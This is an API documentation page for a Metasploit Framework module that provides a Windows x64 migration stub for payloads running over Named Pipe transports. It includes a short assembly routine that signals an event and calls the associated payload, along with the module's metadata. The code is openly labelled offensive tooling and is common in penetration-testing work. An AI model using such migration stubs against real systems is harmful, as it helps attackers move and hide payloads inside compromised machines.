Module: Msf::Payload::Windows::MigrateNamedPipe_x64

Includes:
MigrateCommon_x64
Defined in:
lib/msf/core/payload/windows/x64/migrate_named_pipe.rb

Overview

Payload that supports migrating over Named Pipe transports on x64.

Instance Method Summary collapse

Methods included from MigrateCommon_x64

#generate

Methods included from BlockApi_x64

#asm_block_api

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Instance Method Details

#generate_migrate(opts = {}) ⇒ Object

Constructs the payload


32
33
34
35
36
37
38
39
40
41
42
43
# File 'lib/msf/core/payload/windows/x64/migrate_named_pipe.rb', line 32

def generate_migrate(opts = {})
  %Q^
  start_migrate_pipe:
    mov rdi, qword [rsi+16]   ; The duplicated pipe handle is in the migrate context.
  signal_pipe_event:
    mov rcx, qword [rsi]      ; Event handle is pointed at by rsi
    mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
    call rbp                  ; SetEvent(handle)
  call_pipe_payload:
    call qword [rsi+8]        ; call the associated payload
  ^
end

#initialize(info = {}) ⇒ Object


18
19
20
21
22
23
24
25
26
27
# File 'lib/msf/core/payload/windows/x64/migrate_named_pipe.rb', line 18

def initialize(info={})
  super(update_info(info,
    'Name'        => 'Migrate over Named Pipe transport (x64)',
    'Description' => 'Migration stub to use over Named Pipe transports (x64)',
    'Author'      => ['OJ Reeves'],
    'License'     => MSF_LICENSE,
    'Platform'    => 'win',
    'Arch'        => ARCH_X64,
  ))
end